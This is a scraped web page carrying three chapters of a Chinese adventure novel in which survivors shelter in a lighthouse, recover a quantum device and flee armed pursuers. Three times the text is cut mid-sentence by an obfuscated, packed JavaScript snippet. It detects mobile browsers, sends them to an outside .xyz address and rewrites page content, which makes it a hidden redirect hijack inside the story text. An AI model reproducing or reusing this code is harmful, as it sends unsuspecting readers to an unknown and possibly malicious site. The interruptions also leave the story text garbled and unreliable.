林忻举枪上前一步，踏上第一级石阶，脚步声在塔楼里尤为突兀。乔伊和顾子衿紧随其后，一步步往上。每走一段，都能感觉到石阶在微微颤动，像是随时会坍塌。大约爬了四五层，前方呈现一扇半开的木质门板，从门缝中泄出一点微弱的橘黄灯光。 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057050|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人屏住呼吸，心跳都加快了。他们相互暗示，准备推门。就在这一瞬间，门缝“咔哒”一声被人从内侧拉开。火光耀眼，三人条件反射般举枪戒备。但下一秒，却看见一位形容憔悴的中年男子，留着花白胡茬，神情慌张地缩在一盏旧油灯后面。男子似乎也被他们吓到，瞪大眼睛，声音嘶哑：“你们……是谁？想干什么？” 乔伊迅速压下枪口，努力保持平静语调：“我们是遇险的漂流者，有重伤病人需要救治。没有恶意，不会伤害你。”林忻匆忙补充：“若你敢耍花招，我们也不会客气。”那中年男子闻言，眼珠转了转，似在琢磨自己是否处于险境。他声音紧绷：“这岛已经废弃多年，我只是看守这里，偶尔打渔自给。不想惹事。” 顾子衿深吸口气，将枪口偏下：“我们只想要一个避风之处，还有药物和淡水，能不能帮帮我们？报酬……我们能给你一些值钱的东西。”她说话时，望向他身后的室内空间——一个凌乱的房间，堆放不少破竹篓、木板，还有一个生锈水箱。男子显然对“报酬”一词颇感兴趣，神色略松动：“我是叫徐壮，留下来守灯塔，偶尔出海打点鱼虾……你们带重伤病人？” 乔伊抓住机会：“对，我们船在海上漂了很久，病人已到了危急关头。拜托你让我们把人带进来，先救命！”徐壮犹豫了短短数秒，最终叹了口气：“好，把他搬到底层，我那里有个老床铺，可以先躺下。不过我可没有什么高级药物，只有些普通抗炎药和敷料罢了。”乔伊大喜，立即通过对讲机通知学姐他们进来。 于是，学姐、医生、鬓角斑白青年合力将教授小心抬上塔楼底层。徐壮带着油灯给他们引路，房间阴暗潮湿、地面上满是灰尘和沙砾。那张老床铺在角落里，发黄的被褥散发霉味，却总比风雨中暴露要好。医生和学姐发挥最大效率，一边卸下担架，一边给教授重新包扎输液管，替他量体温。见教授烧得惊人，徐壮忍不住咂舌：“怎么拖到现在才上岸？” 林忻没好气：“若能早点遇上安全的岸，我们也不会这样狼狈。”徐壮默默点头，取出一把早年打渔时带回来的药材，说：“我不懂治病，但听人说这些药草可以熬成汤，祛寒退热。你们要试试吗？”医生权衡再三，决定先拿一点草煮水，至少聊胜于无。总比什么退烧针都没有强。 塔楼内暂且安顿下来后，他们意识到这里并不是完全与世隔绝，屋后有个简陋厨房和破败水井，积攒了一些雨水，勉强够做紧急淡水来源。徐壮告知：这岛在数年前是渔民的临时补给点，后来被战乱和海啸毁坏，几乎无人问津。至于那钟声，其实是塔顶的破烂机械现在还偶尔自动振动，跟谁没关系。但乔伊和林忻都抱着保留态度，毕竟先前的“有人影”也不是错觉吧？ 虽然警觉，但大家暂时获得一处避风之处，也能让教授躺在床上，不至于在狭窄船舱内备受海浪冲击。徐壮见到他们人多枪多，也不敢贸然赶走，索性就和他们维持微妙的共处状态。学姐借机提出交易：如果徐壮有多余粮食、药材，可以换一些黑市外的贵金属、或者小型设备零件。徐壮搓搓手，似乎确实感兴趣，却也苦笑：“我孤身一人，留着东西不多，但若你们能帮我修一下塔顶漏水……倒是可以商量。” 医生那边忙着照料教授，发现连番注射后，教授体温依旧偏高，仅暂时维持在39度左右。若没有更好的药或医治条件，很难彻底退烧。乔伊眉头紧锁，一刻都不想离开教授身边。教授偶尔会迷糊地睁开眼，嘴唇瘪动，似在说什么，却发不出声音。乔伊伏在他耳边，用最轻柔的声音嘀咕：“别放弃……你一定能挺过去。” 渐渐地，夜深沉，暴烈的海风似减缓了一些，海浪敲打岸边暗礁的声音却犹在。安心下来的顾子衿和鬓角斑白青年轮班守夜，林忻则乏力地倒在门口打盹。徐壮坐在院子里抽着旱烟，似在思索如何与这群不速之客打交道。学姐则一如既往地拿着笔记本记录教授的病情变化和任何新发现。 乔伊守在床边，看着教授紧皱的眉头，甚至抽空回想自己最初跟随教授的日子：他在实验室里侃侃而谈“命运终将被量子公式演绎”时的意气风发，她曾视他为固执而狂妄的理论家。可当她真正卷入这场量子数据争夺与“拉普拉斯妖”的阴暗涡流时，却不得不承认，正是教授的那股劲儿，让他们走到现在，也让他们选择了挺身而出。她不甘心就此让教授孤零零倒在此处。 夜凉如水，飘进塔楼的风令火光飘忽不定。乔伊几乎合上眼之际，突然听到楼上“咣当”一响。她猛地惊醒，拿起身旁的枪示警。学姐也立刻警觉：“什么声音？”乔伊示意“别急”。她轻手轻脚地走到楼梯口，抬头望向二层暗处，但什么也没看到。只是昏黄的油灯映照着斑驳墙面，蛛网飘动宛如鬼影。 难道真是机械故障或老木板脱落？她想。可那声响里，那瞬间闪过的压抑感却让她心中轻颤，仿佛楼上还有第三个人或更多在活动。她犹豫几秒，没有贸然前行。毕竟教授病重当口，她不能让自己中了圈套。她决定先和林忻、顾子衿通个气，待天明时再上去确认。 乔伊回头看向教授，见他仍昏睡不醒，却在翻腾不安。她轻抚他额头，暗暗祈祷：无论上面是什么，别再对教授的性命造成威胁。此岛似乎远比想象中还要荒诞。或许明日，他们会面对新的难题——比如，这位古怪看守徐壮究竟还有多少秘密？那若隐若现的钟声和身影，是过去残留的幻象还是真有人藏在暗处？ 她不知道答案。但可以肯定的是，他们这群人依旧没得选择——只能继续踏入未知。 窗外潮汐声悠远深沉，映照着他们每个人摇摆不定的内心。似乎黑暗之中，隐隐吹来了暧风般的希望，也有可能是下一次死神叩门的序曲。 30.未明黎光的守望 凌晨四点左右，黎明尚未降临，岛上风势愈演愈烈，带着潮湿的咸腥味从破旧的窗缝和砖隙里渗进来。整座灯塔宛如一根年久失修的石柱，无声地承载着宿命的重量。破船已被浪潮打得彻底离岸，正搁浅在浅滩边缘——船身倾斜，船帆撕裂，如同奄奄一息的巨兽。若不是林忻用铁索和岩石把它加固，恐怕早就被海浪卷走。 炉火摇曳中，乔伊抱着毯子守在塔楼底层，这里原是看守人的卧房，勉强能容下一张破床和一张小桌。昏暗的灯光下，教授气若游丝地躺在床上，额上布满汗珠，一只手腕打着点滴，另一只手始终紧抓着被角——仿佛在与什么可怕梦魇抗衡。学姐与医生轮流盯紧输液瓶的滴速，一旦教授再度陷入缺氧抽搐，只能不断用急救手段维持，他究竟能撑多久，谁都心中没底。 “药草熬出来了？”乔伊回头小声询问。医生正在煤炉上用破铝锅煮沸那捆徐壮提供的树根和叶片，刺鼻的味道四溢，让人难以生出食欲，但至少可以尝试退热。医生却叹口气：“只能给他多补充些水分，再打打针，不知道能不能顶到天亮。”说话间，海风卷着尖啸扫过门板，将一股湿冷的寒意灌入屋里，乔伊情不自禁地打了个寒颤。 塔楼的木梯发出吱呀声响，顾子衿匆匆跑下，低声报告：“上面都还算平静，但我怕这大风要持续到白天，云层很厚，可能会下暴雨。”她伸手抹去额角的汗水，那是紧张与疲惫交织的象征。乔伊凝视她片刻，眼神里透着感激——若没有顾子衿和林忻协助巡逻警戒，这座孤塔随时可能成为他们的葬身之地。而更大的威胁，是随时会到来的黑市舰艇或“H”组织追兵。 “教授的情况如何？”顾子衿压低声音，“刚才我听见他在说梦话吗？” 乔伊点点头：“半小时前他说了句‘钥匙…塔顶…’，可我们派林忻上楼找了好几圈，连锁孔都没看到。” 顾子衿皱眉：“他会不会是意识混乱？又或许‘钥匙’指的是别的线索，之前不是听说量子数据必须在某个特殊装置里运算吗？” 乔伊微咬嘴唇：“我也不清楚。教授的精神状态太糟糕了，他此时说的每个词都值得多想，也可能全是无稽之谈。” 话音未落，林忻抱着枪出现在楼梯拐角。他一脸疲倦，看见乔伊就摇头：“塔顶都是些破旧钟罩和机械装置，齿轮生锈，根本没有什么能用得上的东西……可能他只是胡言乱语。”林忻老实承认自己没找到关键之物，却不排除那里藏着什么暗格，只是现在环境太暗、杂物太多，一时无法彻查。 乔伊沉默片刻，侧耳倾听楼外的风浪声。每一次浪潮拍打岸礁，都像一声沉闷的警告：留给他们的时间不多了。她轻轻掖好教授身上的破毛毯，然后站起来对学姐说：“我还是想再去看看塔顶。如果那里真有教授口中的‘钥匙’，就算只有一线机会都不能放弃。”学姐看着她的眼神略带担忧：“小心点，你别太勉强。” 医生忽然接口：“刻不容缓。假如有什么装置能帮教授控制病情或保护量子数据，我们必须抓住。” 乔伊轻轻点头，回头跟顾子衿与林忻嘱咐：“你们留一个人在中层警戒，以防徐壮或其他不明人靠近教授房间。另一个跟我上去——我们仔细搜塔顶的每一寸地方???” 林忻略加思考，留下顾子衿守中层，自己则带上枪与乔伊一起登上狭窄的螺旋楼梯。木梯在风暴前夜的压力下吱嘎作响，每一步都让人心惊。越往上走，海风的呼啸声越明显，仿佛这座灯塔与外界之间只剩下薄薄的石壁。 临近顶部时，眼前豁然出现一间陈旧的圆形空间，顶上挂着一个生锈的铁钟罩，周围浮满蜘蛛网和鸟粪痕迹，四壁则是塌落的石灰。地面角落堆了一些不知来历的木箱，潮湿霉味扑鼻而来。林忻瞪大眼睛，端枪四顾，并没有看到任何人影或秘门。只有头顶风吹动的裂隙在“呼呼”作响，月光都被云层遮蔽得几近黯淡。 乔伊打开手电，先在地面搜寻。她拨开灰尘积聚的杂物，注意到一处木箱表面刻了模糊不清的花纹，似乎是某种日记或账本的封面。她凑近去看，却被破木刺划破手背，渗出少许血迹。林忻忙过去翻动那些箱子，徒手拆开其中一个箱盖，却发现里面只是破旧渔网和空瓶。另一个箱子则塞满了海里打捞上来的破铜铁。林忻忍不住苦笑：“真是一堆垃圾。” 接着，他们又翻查了钟罩附近的斑驳墙体。乔伊发现一道浅浅的凹槽，但用手撬了几下并没有松动。她有点沮丧：“或许教授只是说胡话。”可是转念一想，她又记得教授向来对物理结构很敏感，也许凹槽后面藏着机关？还是需要某种钥匙插入才能开启？ 林忻伸手给乔伊看：“你手背流血了，先处理一下。”乔伊却摇摇头：“不碍事，我们再试一下别处。”两人花了十多分钟也没找到任何与“钥匙”相关的东西，只能悻悻下楼。临走前，乔伊回头看了眼那道凹槽，心中隐约感觉那里肯定有什么秘密，却一时破不开。 回到底层，学姐正紧张地观察教授的体征，见到他们失魂落魄地归来，便没多问也明白结果不如人意。顾子衿低声道：“可能真是教授烧糊涂了，咱们别太纠结那句话。”乔伊咬了咬唇，终究叹气：“好……现在只能想别的办法。” 医生端着一碗刚熬好的药汤过来，小心吹凉后尝试喂教授。教授眉心狠狠蹙着，嘴唇呈灰白色，却仍勉强吞下几口。接着他似再次陷入恍惚，轻微地挣扎，仿佛身处恶梦。乔伊半跪在床边，看着教授满是渴望地伸出手，却抓不住任何支点。 屋外突然传来一阵含糊的交谈声，似乎是徐壮在院里跟谁说话。林忻和顾子衿立刻取枪戒备，透过门缝往外看，只见徐壮拿着油灯，正与一个陌生人比手划脚，似在争执。那陌生人身形瘦小，包着头巾，看不太清面容，但不断抬头朝塔楼里张望，看样子非常警惕。 “果然还有别的人。”林忻低声咒骂，“他一直不肯老实交代。” 乔伊也脑中一凛：徐壮可能隐瞒了岛上存在其他人的事实。那人到底是谁？先前几回听到的脚步声或夜半异响，或许也是这个人造成的。难道此人是探子？是黑市那边派来的？还是另一个逃亡者？ 屋里几人互相交换眼色，最后学姐示意顾子衿、“鬓角斑白青年”一同跟着林忻走出去，自己和乔伊留在内间继续守护教授。三人带着枪、小心翼翼地绕过木架，悄悄来到院内，却不想对方早有察觉。那头巾男子猛地踩空往后退，不慎绊到石块摔倒。徐壮赶紧扶他起来，见林忻和顾子衿出现时也吓得差点扔灯。 “别、别开枪！”徐壮慌乱举起手里的油灯，“他是我侄子，不是敌人！” 林忻皱眉：“侄子？你之前怎么从没提过？” 徐壮尴尬地咳嗽：“他常年绕海打鱼，很少回来……我怕影响你们心情。再说他性格怪，生人面前有防备。” 头巾男子闻言，没有急着辩解，只是从地上捡起自己的包袱，声音沙哑：“我没想偷听什么，我只是回来补给，没想到你们来了这么多人，害我躲了几天。” 顾子衿盯着他，冷静地问：“那你在暗处盯着我们？你到底想干嘛？” 头巾男子显然有些不悦：“我才懒得盯你们，若不是船靠岸，我也不会担心你们是不是海盗。再说，岛上没什么东西好抢！”林忻这才略微松开手中枪，问他：“那你方才为何在这儿和徐壮嘀咕？” 徐壮面露难色，搓着手说：“我那侄子听说你们有个重病号，担心会不会引来什么大势力，就想让我赶紧把你们赶走……我劝他别多事。” 林忻哼了一声：“就算想赶我们走，现在也晚了。” 一番干脆交涉后，总算确认对方暂时没有敌意。徐壮拿出一瓶淡水，让头巾男子给几人尝尝。对方也抿住嘴，一脸不甘，却没有再多做挑衅。顾子衿抬头看看夜空，打着手势让林忻先回屋报信，以免里头乔伊和学姐担忧。她自己则维持警惕，在院里盯着这两人，没再多言。那侄子坐在石台上抱膝，不发一语。 室内，乔伊得知来者真是徐壮侄子，这才稍稍放下心，可还是觉得不妥：对方最初以“岛上只有我”的说法骗了他们，现在又跳出一个“侄子”，谁知道还会不会再冒出什么神秘人物？更妙的是，教授此刻再经不起惊吓，一旦爆发冲突，他们基本无力战斗。她看向学姐，后者同样神色凝重：“先静观其变。” 凛冽寒风继续侵袭着塔楼的脆弱砖石。屋顶间隙越来越大，漏雨随时可能来临，医生已经把所有纱布翻出来，随时准备接雨应急。淅淅沥沥的潮湿感在外头酝酿，乌云越压越低，仿佛一只巨大的手掌要把整座岛都罩住。 乔伊握住教授的手，发觉他体温仍高，浑身似火烧：“一定要撑住啊……”她又猛地想起教授反复提及的量子演算公式：时间轴的变动如何影响结果？他们现在所处的所有选项，会不会都落在“拉普拉斯妖”的既定运算里？她越想越觉得呼吸不畅，耳边似乎又响起那个阴冷的嘲笑。 “我们不是只是被动承受，我们还可以主动找突破。”乔伊努力让自己平静下来，记得教授曾说：“只要不断制造‘变量’，命运就无法完全闭合。”或许，这灯塔本身就是一种“变量”。它能否成为对抗“拉普拉斯妖”乃至黑市的关键？ 然而，就在她凝神思索间，躺在床上的教授突然两眼睁开，布满血丝的眼白映着微光，看得乔伊心惊肉跳。教授嘴唇翕动，似乎想说什么，却只有模糊吐息。学姐连忙凑近：“教授，你能听到吗？需要什么？”然而教授凄厉地挣动，似要从床上爬起来。医生赶忙用力按住，怕他扯掉针管。教授喉间发出古怪的嘶哑，最后只隐约吐出一句：“塔……顶……它……要……” “它”是谁？是“拉普拉斯妖”，还是黑市，亦或“H”？没人能给出答案。教授又一次翻白眼晕了过去，呼吸越发微弱。医生心急如焚：“这样下去不行！咱们没有更强的退烧药，他或许撑不过明天。”学姐眼眶发红：“难道就这样看着他走？我们还没来得及把量子数据完整推演出来啊！” 屋内的空气霎时凝重。乔伊咬紧后槽牙，眼前浮现出那狭窄塔顶和墙壁凹槽的一幕：“我得再去看看，哪怕铁壁我也要砸开。”林忻刚走进门，听到这话猛地抬头：“你说真的？那凹槽里就算藏东西，也未必是药物。”乔伊却倔强：“是药物还是终端设备，都比坐以待毙强。” 学姐深吸口气，似乎下了决心：“那就再冒一次险。林忻，你再去把工具都搬来，咱们合力把那面墙凿开。”林忻想了两秒后，一口答应。顾子衿见状也匆匆回到屋里，竖起耳朵倾听计划。大家心中都有数：若此举只是徒劳，他们将浪费最后的体力；若那凹槽背后真有教授意欲嘱托的关键物件，或许能挽回局势。 徐壮和他侄子在院里听到动静，也跑进来围观。见乔伊他们摆出一副要凿墙的架势，徐壮惊慌失措：“你们别乱来！万一撬坏承重结构，这灯塔就完了！”乔伊目光凌厉：“不打破这面墙，也许我们就得完。”她的声音并不高，可却带着不容置疑的坚决。徐壮看她如此眼神，只能抿嘴后退，不再插手。 劈开墙面的过程无比艰难。潮湿的石灰、嵌入式旧水泥，还有层层相互支撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正当他们不知所措时，医生那边发出急呼：“快！教授又抽搐了！”众人连忙围过去看，教授弓起身躯，面颊涨红，明显撑到极限。“鬓角斑白青年”用力按住他肩膀，医生猛打镇定针，却发现教授嘴里又在嘟哝：“……登陆舱口……配对……锁死……别……”每个字都像在被火舌灼烧般艰难。 乔伊赶紧将方盒凑近教授，焦灼轻喊：“教授，您再坚持一下，这是不是你……想要的东西？”教授似乎隐约感应到光亮，一只手微微抬起，却隔空悬在那里，仿佛无力触碰。眼看他就要再度陷入昏倒，乔伊索性用他指尖在方盒的序列键盘上轻点了几下——她也不知这是否正确，但这是他们眼下唯一的选择。 奇迹似乎在那一瞬发生：方盒红光倏地灭了，转而闪出一道蓝色荧光。里头传来机械齿轮运转声，随即格栅一声轻响，盒盖松开一条缝隙，里面的淡□□带瞬间照亮教授的憔悴容颜。这一幕让所有人屏住呼吸：这个盒子的内部，究竟藏着什么？ 乔伊小心翼翼地将盒盖完全掀开，只见内部构造错综，却在中央位置镶嵌了一管透明药剂，旁边还有一块微型显示屏，上面滚动着一些数据。学姐瞳孔一缩，失声道：“……这是高能纳米制剂？教授在实验室可是提过这玩意儿，可以快速抑制某些急性病症！”医生亦惊喜交集：“若这真是试验品，或许能救他一命。” 他们不敢耽误，医生立刻拿起那管透明药剂，注入教授的静脉。时间仿佛陷入凝滞，乔伊能听见自己心脏狂跳。教授似稍微平复，他急促的呼吸开始缓和，整个人不再剧烈哆嗦，体温似有轻微下降迹象。学姐和医生交换眼神，皆从对方眼中看到了希望的火花。 “他……或许有救了。”医生嘴唇抖动着，像在压抑内心的狂喜。 绝境之中，这一方盒宛如命运递来的最后稻草。乔伊既惊又喜，忽而感觉自己握着的盒子还在微微震动。她低头看显示屏，发现上面滚动的字符似在进行某项数据启动，界面中出现“量子终端在线”字样，接着又冒出“设定主密钥……完成30%”的提示。她心中激动：难道这正是教授曾经隐藏在灯塔的一台微缩量子运算载体？它不仅存放急救药剂，或许还容纳着对抗“拉普拉斯妖”的突破口。 可是，还不等他们进一步操作，外面骤然响起刺耳的警报声——不，不只是警报，更像某种舰艇的呼啸。林忻第一个反应过来：“有船逼近岸边！”顾子衿神色一变：“难道是黑市的巡逻队？或‘H’组织？”惊慌之下，徐壮的侄子冲到窗边，怔怔看着海面：“天哪，他们有大口径火力！” 短短几秒，全员神经绷紧。学姐颤声问：“教授现在能转移吗？”医生咬牙：“我给他打了药，但需要一点时间稳定，可如果敌人马上打过来——”乔伊深吸口气：“那就先抵挡，至少要给教授赢得活下去的机会，给我们突破命运的机会！” 灯塔内外，风雨已然拉开序幕，黑夜的最后时刻愈发阴沉。可正是在这无边的暗潮汹涌中，乔伊和队友们紧紧抱住那方才取出的金属盒，仿佛它将照亮未来的曙光。教授在剧痛中苏醒了片刻，也许正象征着命运之战迎来新一轮搏杀：他们既有可能被逼入死角，也有希望凭借量子终端和急救药物，从“拉普拉斯妖”手中夺回一线生机。 下一刻，远处传来轰鸣声，灯塔外的海浪宛如发狂的野兽。风暴、大火力、无法预估的埋伏——一切皆在逼近。乔伊将方盒紧压在胸口，握拳自语：“拉普拉斯妖……你算得到这一步吗？”她眼中突然燃起斗志的光。 （本章完) 黑市舰艇驶来，教授初步退烧但仍虚弱，量子终端方才启动却尚未完成主密钥设置，塔楼里徐壮与神秘侄子的态度也尚未明朗。乔伊等人能否守住这微薄的生机？抑或遭遇更凶险的打击？一切，尽在下章揭晓。 31.破晓之前的交错命途 夜幕沉沉，仿佛凝聚了海上所有的寒意。海浪拍击孤岛崖壁，刮起尖利的呼啸，令灯塔顶端那盏昏黄光芒也在风中摇晃不定。若再靠近些，便能看见塔楼下的乱石滩埋藏着油渍与弹壳，夜色中偶尔闪烁的火光预示一场未结束的厮杀。就在这慌乱弥漫之际，乔伊和同伴们却已悄然离开了塔楼，拖着一副临时担架，在崖壁背后一步步探向更危险却也更可能孕育生机的去处。 负伤的林忻打头阵，手中枪械时刻瞄向前方。古老的崖壁阴影投射在他脚下，看起来像巨大张开的怪兽之口。他咬着牙关，一边忍着肩上的枪伤一边回头观察队伍。紧随其后的是乔伊和顾子衿，他们合力抬着教授一起向前挪动。医生和学姐则护在两侧，随时盯着教授的生命体征。徐壮和他侄子心怀惶恐地走在后面，已经意识到唯有与乔伊等人共进退，才可能逃得一线生机。 半小时前，当灯塔海滩上突然爆发火焰陷阱，一度逼退了黑市快艇。可不得不承认，对方随即便展开第二波进攻。塔楼脆弱的墙体在枪与火的轰击下似乎摇摇欲坠，若非及时撤离，恐怕整个塔楼都会被炸成废墟。于是他们一路冒险，试图绕到后岛躲避追击。可谁知快艇一方并不满足于在正面将其毁灭，更有一批人上岸堵截，也许还存在“H”势力潜伏，局势霎时陷入惊涛骇浪之中。 “再坚持一下，就能绕过这片乱石坡。”乔伊压低声音提醒顾子衿。后者额头冒着虚汗，双臂隐隐发酸，却仍倔强地托举担架，不让教授因路面颠簸而滚落。教授眼下依旧昏昏沉沉，他曾在短暂清醒时输完一部分解锁密码，但精力随即耗尽，全凭医生给他注射营养液救急。 乔伊一想到那尚未完全激活的量子终端，心里就似打鼓般忐忑不安。若教授不能再度清醒输入剩余权限，这装置也就无法真正对抗“拉普拉斯妖”。毕竟只完成了90%多进度的主密钥认证，还需要网络连接才能释放全部机能。而在这与世隔绝的岛上，通信早被干扰，谁也不知道下一步该怎么走。 崖壁上时时滚落碎石，偶尔能听见远方海滩的枪声。在漆黑夜色里，任何火光都无疑是暴露目标，乔伊等人只能屏息匍匐前行。走了约莫五六十米，忽而前面闪过一点亮光，林忻警觉地举枪，众人顿时蹲下。借着夜色，能瞧见两名黑衣人在乱石间搜寻，似乎是黑市派出的追兵。只要他们再往前几步，就会撞见乔伊一行。 顾子衿与林忻默契交换眼神，由林忻先行贴住石壁伺机下手。乔伊屏住呼吸，让自己冷静下来。她可以感受到教授在担架上微弱的抽搐，也能听到自己心跳的急促。若在这崎岖道路上爆发正面冲突，担架很可能翻倒，教授面临极大风险。可若放任对方摸过来等于是自投罗网。左右都是险招。 石隙间传来对方的低声交谈： “刚才灯塔那边爆炸了，看样子他们设了陷阱。” “别骄傲，雇主下了死令，要拿到他们的量子资料。” “我可不想在这破岛上被同伴误伤，赶紧搜完回去吧……” 林忻看准时机，豁然从阴影中闪出一记近身突袭，用枪柄狠狠击中其中一名黑衣人的后颈，那家伙应声倒地。另一人惊觉不妙，想左右开枪，却被顾子衿端起□□“砰”地击伤膝盖，发出痛呼。乔伊则一个箭步上前去捂住对方嘴，防止他呼救。 “你们别杀我……”那受伤黑衣人疼得满脸扭曲，声音却压得极低，看得出仍心有忌惮，怕更多同伴听见动静。林忻一把拎住他的衣领，冷声逼问：“你们带了多少人上岛？船上还有几队？”对方王顾左右，似想找机会嚼毒胶囊或呼叫增援。可乔伊早就留意他的动作，当即拔出匕首顶住他咽喉。 一滴冷汗顺着那黑衣人鬓角滑下，他迟疑几秒，终究崩溃似地开口：“黑市派了两艘船，‘H’那边也有一拨人马混进来，我们都各怀鬼胎。你们要是识相，交出那量子数据……”林忻懒得听废话，反手用枪托猛击他后脑勺，对方仰头倒下，不再发声。整个过程不超过十秒。乔伊咽了咽干涩的喉咙，眼睛不敢多看那血迹，却暗暗告诉自己：必须狠下心，否则所有人都死。 解决这两名先头追兵后，大家继续前行。半小时后，终于找到了一个藏在山体曲折处的天然岩洞，入口被嶙峋的石块遮挡，如同天然屏障。徐壮侄子探了一圈返回报告：“里面地势狭窄，但勉强能容人躲避。如果有敌人冲进来，也好守一些。” 林忻率先弯腰进去，确认没有猛兽或伏击迹象后，才让乔伊与承载教授的担架走进。洞内漆黑阴冷，夹杂或潮湿或霉腐的气息，可对如此狼狈的一行人来说，暂避一阵已是奢望。顾子衿赶忙用随身照明棒贴在石壁上，发出微弱黄光。大家缓缓松了口气，开始打点伤口与查看教授状况。 教授的呼吸依旧急促不稳，学姐摸了摸他的脉搏，神色凝重：“纳米制剂的作用快退去了，如果再无后续处理……”医生亦忧心忡忡：“若送不到医院完善救治，他或许撑不过两天。”乔伊一听这话，心口绞痛般难受。她低头凝视教授微颤的眼睑，想象着若他就此沉入黑暗，自己该怎么办？量子终端又该何去何从？ 她握紧拳头，不让绝望涌出：“我们必须先活下来，哪怕只有一点机会，也不能放弃。”正当几人都陷在阴郁情绪中，忽然外面又传来杂乱枪声，紧接着似乎伴着爆裂火光，透过洞口缝隙能窥见崖壁上方一片火红。林忻抬头一惊：“难道他们刚才提到的‘H’势力和黑市已经交火？” 仿佛为印证他的猜测，那火光中不断传出人声嘈杂与子弹扫射的爆裂声。徐壮在洞口探头看了一眼，吓得面色惨白：“打起来了，估计是在为量子资料鹬蚌相争。”医生看着担架上奄奄一息的教授，幽幽叹道：“这东西成了所有人争夺的焦点。” 乔伊却隐约感到，这也许正是他们的机会。敌人相互火拼，无暇顾及自己；若能趁机绕到岛屿另一侧，再想办法联通外界网络，说不定能完成终端运算，向“拉普拉斯妖”命运之网发起挑战。她鼓起勇气看向林忻和顾子衿：“趁外头混乱，我们走吧。” 学姐也缓缓点头：“拖下去对教授无益。”医生抱起药箱：“同意，若待会儿交火结束，他们会腾出手来地毯式搜索这里。”徐壮迟疑片刻，最终也没反对。事到如今，留在岛上只会等死。乔伊收起心绪，吩咐顾子衿先用布条将教授固定在担架上，以防颠簸损伤，然后微微深吸：“大家都小心。” 他们刚要离开岩洞，外面枪声突然剧烈加倍，仿佛有大规模交火爆发，甚至能听到某种重火力的轰鸣。林忻眯眼分辨：“是榴弹还是火箭筒？”医生抱住脑袋：“黑市和‘H’都疯了吗？竟在岛上玩重火力？”乔伊干脆抿住嘴唇，一言不发地继续前行，只盼乱战能转移绝大多数注意力。 走出山体裂隙，夜色笼罩的天空却已在东方露出一抹暗灰。那是黎明前的征兆。然而，如他们所料，崖壁之上有暴烈火光在蹿动，有的岩壁处坍塌，滚下土石。某些倒霉的黑市打手正满地翻滚惨叫，不知是被炸伤还是中枪。稍远处，还能见到几道人影正举枪对峙，看衣着似乎是“H”组织的成员。这两拨人马仿佛都疯狂了，有人一边咒骂一边疯狂射击，火舌照亮整个乱石滩。 乔伊瞥见其间，有一个看似首领级别的人物正持对讲机高喊：“把东西交出来！”空中还盘旋一架小型无人机，像锁定猎物般巡视四方。她心中一凛：若那无人机发现教授和终端在此，很难再逃出升天。林忻示意大家贴着崖壁移动，别被无人机热成像捕捉到。有几次，火光闪亮到身边不足十米，乔伊和顾子衿都能听见彼此浅浅的急促呼吸。 转折来得猝不及防：某个“H”组织成员抬手就是一发爆破弹，狠狠砸向黑市那群人所在位置。“轰”的一声巨响，碎石与火焰在夜空四散喷涌，也把无人机震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065296|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得飞偏。趁此敌我两方都陷入极度混乱，乔伊咬着牙示意快走。林忻和顾子衿抬起担架，连滚带爬地冲过一片坍塌的断壁，愣是险而又险避开敌人的视线。 也不知跑了多久，浑身精疲力竭时，众人才发现自己的脚下竟出现一条下坡小路，蜿蜒通向岛屿更低洼的区域。东方天色渐亮，晨曦没有美感，反而让混乱战场看得更加清晰：被火烧焦的土地、散落的弹壳、草丛里动弹不得的伤兵。乔伊忍住恶心，一边扶住差点摔倒的学姐，一边时刻关切教授的呼吸。 “再往前，应该离海面较远，或许能摆脱视线。”徐壮低声提议，“岛的后方有一带树木，涵盖面积不小，能藏人。”大家纷纷同意。就在这时，林忻忽然按住耳麦，神色骤变：“我听到黑市频道传出讯号，说要招呼增援……他们不惜全面清剿这岛。”医生问：“还有多久？”林忻苦笑：“也许半小时？天彻底亮了就更难躲。” 乔伊感到后背汗透，忍不住颤抖。她看着怀中那尚未彻底解锁的量子终端，想象着若能够连入外部网络，他们或许能加密并广播教授的数据，让黑市或“H”就算得到终端也无用。可现在哪来的网络？岛上各处通讯早被干扰和切断，除非…… 脑海里忽地闪过一个可能：岛屿中央区域似有废弃卫星信号站，大概早年间用来做军事观测，现虽破败，但若供电设备还在，也可能搭建一次性联通。乔伊记得在他们登陆时，教授曾提过那处站点的天线塔。虽残破不堪，却可能是仅存的希望。 她当机立断把这个想法说出。学姐眼神一亮，立刻附和：“如果真有信号站，我们至少可以尝试连接卫星，完成解锁运算！”林忻眼色凝重：“那边离这儿不算近，估计还要再穿过大片丛林，危险性极高。”乔伊反而更坚定：“可这是唯一可能让我们反制‘拉普拉斯妖’的机会。” 